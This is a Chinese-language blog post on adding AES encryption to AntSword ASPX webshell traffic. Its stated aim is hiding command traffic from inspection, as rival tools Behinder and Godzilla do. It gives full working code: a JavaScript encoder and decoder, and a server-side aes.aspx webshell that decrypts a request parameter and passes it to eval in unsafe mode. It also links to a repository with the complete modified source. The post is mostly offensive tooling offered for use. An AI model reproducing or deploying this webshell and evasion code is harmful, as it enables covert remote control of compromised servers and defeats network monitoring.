本文首发于安全客:https://www.anquanke.com/post/id/244810
0x00 前言
蚁剑优美的客户端界面一直非常吸引人,以至于总可以把它的一些缺点忽略。但发展到2021年了,人们对流量隐私有了更高的要求,包括黑客们。看着蚁剑的对手:冰蝎、哥斯拉都拥有了加密的通信流量,而蚁剑迟迟未出。
作为蚁剑的爱好者,怎么能看着它落后呢。于是乎,今天我们就来给蚁剑ASPX/ASPX类型的Webshell套上加密。为什么单单是ASPX/ASP呢?因为JSP类型的有 yzddmr6 师傅修改了,而PHP的后面再说。
0x01 分析
修改之前,我们可以先看看冰蝎对加密ASPX的实现,冰蝎ASPX的实现和JSP的实现很相似,都是通过加载编译好的字节码,创建对象实例,然后调用equals方法,传入context上下文。这种方法非常好,避免了ASPX利用常规的eval进行命令执行。
前面我们说到,yzddmr6 师傅通过参考冰蝎JSP的实现,成功的用加载字节码的方式,为蚁剑实现了一句话,虽然还缺少加密这个选项,但已经成功踏出一大步。观察蚁剑的编码器文件夹:source/core,我们可以发现,一开始是没有JSP目录的,所以我们可以自定义下列文件的内容,而不会影响已经存在的的编码器:


但是当我们打开ASPX文件夹时,发现已经存在一些编码器,这样就导致了一个问题:我们如果按照冰蝎的做法,加载字节码,就会修改template目录下的payload,势必会导致其他的编码器不兼容,而且可能会影响到已经存在的插件。所以我们还剩两种方法:
直接造一个ASPX_AES目录,如同JSP一般,但是这样会大范围修改源码,不符合我们简洁的宗旨- 就在原来ASPX目录上修改,但不影响其他编码器和解码器,注意这的解码器是坑点所在
0x02 AES加密的编码器实现
在crypto-js库的帮助下,我们很快就实现AES_CBC_128_ZeroPadding加密的编码器
第一步:编写编码器
aspx_aes_128_cbc_en.js:
xxxxxxxxxx391'use strict';23const path = require('path');45var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));67function randomRange(min, max){8 var returnStr = "",9 range = (max ? Math.round(Math.random() * (max-min)) + min : min),10 charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';11 for(var i=0; i<range; i++){12 var index = Math.round(Math.random() * (charStr.length-1));13 returnStr += charStr.substring(index,index+1);14 }15 return returnStr;16}1718// AES return base64 type of encodedtext19function encryptTextByAes(keyStr, text){20 let encodedtext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {21 iv: CryptoJS.enc.Utf8.parse(keyStr),22 mode: CryptoJS.mode.CBC,23 padding: CryptoJS.pad.ZeroPadding,24 }).toString()25 return encodedtext;2627}282930module.exports = (pwd, data, ext={}) => {31 let min = 16;32 let max = 16;33 let aesKey = randomRange(min, max);34 data[pwd] = Buffer.from(aesKey).toString("base64") + encryptTextByAes(aesKey, data['_']);3536 delete data['_'];3738 return data;39}第二步:编写服务端脚本
对应的aes.aspx:
xxxxxxxxxx291<% Page Language="Jscript"%>2<% 3 var utf8 = new ActiveXObject("System.Text.UTF8Encoding");4 var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");5 var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");6 var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");7 aes.Padding = 3;8 aes.KeySize = 128;9 function B64Decode(b64Str){10 var bytes = utf8.GetBytes(b64Str);11 var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);12 return decoded_bytes;13 }14 function Decrypt(cipherText, aesKey){15 var aesKeyBytes = utf8.GetBytes(aesKey);16 aes.IV = aesKeyBytes;17 var cipherBytes = B64Decode(cipherText);18 var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));19 var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);20 var res = utf8.GetString(plainBytes);21 return res;22 }23 var data = Request.Item["ant"];24 var aesKey = data.substring(0,24);25 aesKey = utf8.GetString(B64Decode(aesKey));26 var encrypt_res = data.substring(24);27 var decrypted = Decrypt(encrypt_res, aesKey);28 eval(decrypted,"unsafe");29%>第三步选择aes编码器:

第四步挂上burp:

加密效果很不错,就是有两个瑕疵:
- 不是所有的参数都加密了,比如上图中左边这个怪米日眼的参数
- 返回内容没加密啊,这不把腚漏出来了吗?
0x03 解码器实现
带着0x02留下的两个鬼一样的问题,我们先看看PHP的base64解码器实现source/core/php/decoder/base64.js:

这个asoutput函数好像可以拿来用用,我们可以看看其被调用的地方source/core/php/index.js:

噢噢,asoutput的代码会被拼接到payload,供服务端执行完后输出的编码,至此,好像解决了问题2?
不,他X的PHP有可以获取缓冲区内容的ob_xxx函数,但是ASPX/ASP呢?就他X的一个拦都拦不住的:Response.Write()????
ASPX太气人了,看看原来的解码器有没有什么办法source/core/aspx/decoder/default.js:

好家伙,我直接好家伙!直接asoutput返回空。没办法,为了实现把腚遮住的理想,我们继续看看template目录下payload是如何输出结果的:

多次利用Response.Write()进行输出,既然是多次输出,那我将所有的输出都放在一个变量里面,然后将变量通过加密函数进行加密,最后再调用Response.Write(),好像就可以了!
第一步:
添加解码器aspx_aes_128_cbc_de.js:
xxxxxxxxxx491'use strict';234const path = require('path');56var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));789function decryptText(keyStr, text) {10 let decodedtext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {11 iv: CryptoJS.enc.Utf8.parse(keyStr),12 mode: CryptoJS.mode.CBC,13 padding: CryptoJS.pad.ZeroPadding14 }).toString(CryptoJS.enc.Utf8);15 return decodedtext;16}1718module.exports = {19 asoutput: () => {20 return `21 function B64Encode(bytes){22 return System.Convert.ToBase64String(bytes);23 }24 function Encrypt(plaintext, aesKey){25 var aesKeyBytes = utf8.GetBytes(aesKey);26 var aesEnc = aes.CreateEncryptor(aesKeyBytes, aes.IV);27 var plainBytes = utf8.GetBytes(plaintext);28 var cipherBytes = aesEnc.TransformFinalBlock(plainBytes, 0, plainBytes.length);29 var res = B64Encode(cipherBytes);30 return res;31 }32 function asenc(opcode){33 var ak = aesKey;34 return ak + Encrypt(opcode, ak);35 }36 `.replace(/\n\s+/g, '');37 },3839 decode_buff: (data, ext={}) => {40 data = data.toString();41 try{42 let aesKey = data.substring(0, 16);43 return Buffer.from(decryptText(aesKey, data.substring(16)));44 }45 catch(e){46 return data;47 }48 }49}第二步:
修改source/core/aspx/index.js:

第三步:
修改template目录下的payload,顺便把多余的参数放在payload里面:



第四步:
打开burp看一下:

舒服!!!

最后ASPX的源码,直接替换ASPX文件夹就可以:https://github.com/youncyb/AS_ASPX_AES_ENCODE
Comments NOTHING